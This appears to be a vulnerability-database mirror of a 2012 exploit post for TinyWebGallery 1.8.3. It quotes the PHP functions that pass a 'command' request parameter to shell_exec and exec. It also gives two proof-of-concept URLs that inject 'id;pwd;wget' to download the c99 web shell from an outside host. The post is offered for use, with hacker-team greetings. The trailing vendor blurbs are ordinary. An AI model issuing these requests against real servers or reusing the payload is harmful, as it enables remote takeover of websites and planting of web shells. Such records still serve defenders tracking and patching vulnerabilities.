Lucene search
K

TinyWebGallery 1.8.3 Remote Command Execution

🗓️ 07 Jan 2012 00:00:00Reported by Expl0!TsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

TinyWebGallery 1.8.3 Remote Command Execution vulnerability disclosed in software version 1.8.3. Allows unauthorized command execution via filefunctions.inc and ifo.php

Code
`<======================================================>  
[»] TinyWebGallery 1.8.3 Remote Command Execution  
<======================================================>  
  
  
[»] ---> Date : 05- 01- 2012   
[»] ---> Author : Expl0!Ts --------> My Best t34m -----> "BaC , RoBert MilEs , Bl4ck_ID"   
[»] ---> Software Link : http://www.tinywebgallery.com/dl.php?file=twg_latest   
[»] ---> Version: n/a   
[»] ---> Category: php   
[»] ---> Tested on: wind xp   
  
  
!----- > THnKs T0 My ALLAH   
<::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>  
bIG tHnkS T0 :-> vbspiders.com & Dz4all.com & isecur1ty.org   
<::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>  
<=================Exploit====================>  
  
-=[ vuln c0de ]=- 1  
  
  
1) --------------> filefunctions.inc :  
  
  
function execute_command ($command) {  
global $use_shell_exec;  
ob_start();  
set_error_handler("on_error_no_output");  
i f (substr(@php_uname(), 0, 7) == "Windows"){  
// Make a new instance of the COM object  
$WshShell = new COM("WScript.Shell");  
// Make the command window but dont show it.  
$oExec = $WshShell->Run("cmd /C " . $command, 0, true);  
} else {  
if ($use_shell_exec) {  
shell_exec($command); <--------------------------------------------- error  
  
  
  
  
  
1) ---------> PoC :  
  
  
http://127.0.0.1/(patch)/inc/filefunctions.inc?command=<id>;<pwd>;<wget http://shell.org/c99.zip>  
  
  
  
  
-=[ vuln c0de ]=- 2  
  
  
2) --------------> ifo.php :  
  
if ($use_shell_exec) {  
  
shell_exec($command);  
  
} else {  
  
exec($command . " > /dev/null"); <------------------------------------------ error  
  
  
2) ---------> PoC :  
  
http://127.0.0.1/(patch)/info.php?command=<id>;<pwd>;<wget http://shell.org/c99.zip>  
  
  
<------------------------------------------------------------------------------------------------------------------------------------------------------------------->  
Gr33tz :  
!> BaC ,!> Black_ID ,!> Kala$nikoV ,!> Robert miles ,!> Dr.Black_ID , !> AHmEd-HaMaImi , Bel-AiSa , To-KhAlEd  
<------------------------------------------------------------------------------------------------------------------------------------------------------------------->  
  
  
EnJoY o_O  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation